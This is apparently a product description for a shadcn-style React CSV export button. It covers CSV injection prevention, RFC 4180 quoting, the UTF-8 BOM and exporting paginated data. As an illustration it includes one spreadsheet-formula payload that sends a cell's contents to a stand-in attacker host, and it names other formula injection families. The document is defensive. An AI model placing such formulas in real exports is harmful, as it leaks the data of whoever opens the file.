A button that turns rows into a CSV file the browser saves — with the two things the inline version gets wrong already handled: the spreadsheet formulas hiding in your data, and the fact that the page is usually only holding one page of the table. Reach for it wherever a table, list or report has to leave the app: the Export button on an admin or data table, a billing, invoice or transactions history, an analytics or reporting screen, a contacts, subscribers, leads or members list, an orders or inventory export, an audit or activity log, a survey's responses, a time-tracking or payroll report, the download half of a GDPR or account data request, and any "download results" next to a search or filter. Common asks it answers: "export to CSV react", "csv export button", "download csv button react", "export table to csv", "react download csv from json", "json to csv frontend", "client-side csv export", "react-csv alternative", "CSVLink alternative", "papaparse unparse alternative", "export data grid to csv", "csv download without server", "excel export react", "csv utf-8 excel garbled", "csv 文字化け excel", "csv injection prevention", "escape csv formula", "shadcn export button", "shadcn csv". Official shadcn/ui has nothing here — csv, blob, createObjectURL and download appear in none of its sixty-odd components — so an agent asked for an export writes it inline, and the inline version is four lines that are wrong in ways nobody sees on the machine that wrote them. The first is a security bug, not a formatting one. A cell whose text starts with =, +, - or @ is a formula to Excel, Sheets and LibreOffice, so a value that came from a user — a display name, a note field, a ticket subject — executes on the machine of whoever opens the export; =HYPERLINK("https://evil.example/?d="&A1,"Click") quietly ships the row beside it, and the WEBSERVICE, IMPORTXML and DDE families have been used the same way for years. It is filed as CSV injection, and the tempting fix does not work: a spreadsheet strips the quotes while parsing and evaluates what is left, so "=1+1" is still a formula and the field itself has to change. Every cell is prefixed with the text marker OWASP recommends — including the tab and carriage return that are stripped on the way in and leave the next character at the front of the cell, and including the headers, which are cells too. The over-correction is handled as well: -42 also starts with a dangerous character, and a version that prefixes it turns every negative number into text so the column stops adding up, so anything that reads as a plain number is left exactly as it is, while +44 20 7946 0000 is prefixed — correct twice over, since Excel would otherwise show #NAME? where the phone number should be. The second failure is quieter: the inline version exports the array the page happens to hold, which on any paginated screen is one page of it, so "Export all" writes 50 of 12,000 rows and looks like it worked. That is why rows also takes a function — return the full set, or a promise for a fetch of it, and the button shows a spinner, goes aria-busy and refuses the second press, which is the double-click that otherwise downloads the file twice or runs the expensive query twice. The rest is the detail a four-line version has no room for. Values containing a comma, a quote or a newline are quoted per RFC 4180 with inner quotes doubled — the newline being the one that splits a record in two and lands every following row one column over, a file that opens fine and is wrong from row 400 down. Records are joined with CRLF, and that is not an option, because making it one is how the file ends up with the LF endings some Windows tooling renders as a single line. The download carries a UTF-8 BOM, because Excel does not detect UTF-8 in a CSV and falls back to the machine's legacy code page — without it every accent, umlaut, Japanese character and emoji arrives as mojibake — and the BOM is put in the file's bytes rather than in the returned text, where an invisible U+FEFF glued to the first header would break a comparison nobody can see. The anchor is inserted into the document before it is clicked, since Firefox ignores a click on an element outside the tree, and the object URL is revoked afterwards but on a later task: an un-revoked one pins the whole exported table in memory for the life of the document, while revoking inside the click's own task cancels the download it was created for. Columns are derived from the union of keys across every row rather than off row zero, so a field only the later rows carry is not silently dropped; declare them instead as a bare property name, or as {header, value} to rename, reorder or compute. Dates become ISO 8601 because a file is read later, elsewhere, by someone whose locale nobody here knows; NaN and Infinity are written empty rather than as words that would break a column's total; and delimiter, header line, sanitising and cell formatting are all overridable. Empty results with no declared columns download nothing and say so, rather than handing over a zero-byte file that reads as a broken button. Every outcome is announced through a polite live region and then cleared, so exporting twice is announced twice — an icon swap is not an event. toCsv, sanitizeCsvCell, escapeCsvCell, formatCsvValue, resolveColumns and downloadCsvFile are exported for reuse. It is the mirror of pulld file-dropzone and upload-list, which take a file in. One file, two lucide icons, no CSV library; every colour is a shadcn token, so it follows light and dark.
pnpm dlx shadcn@latest add "https://pulld.pages.dev/r/csv-export-button.json"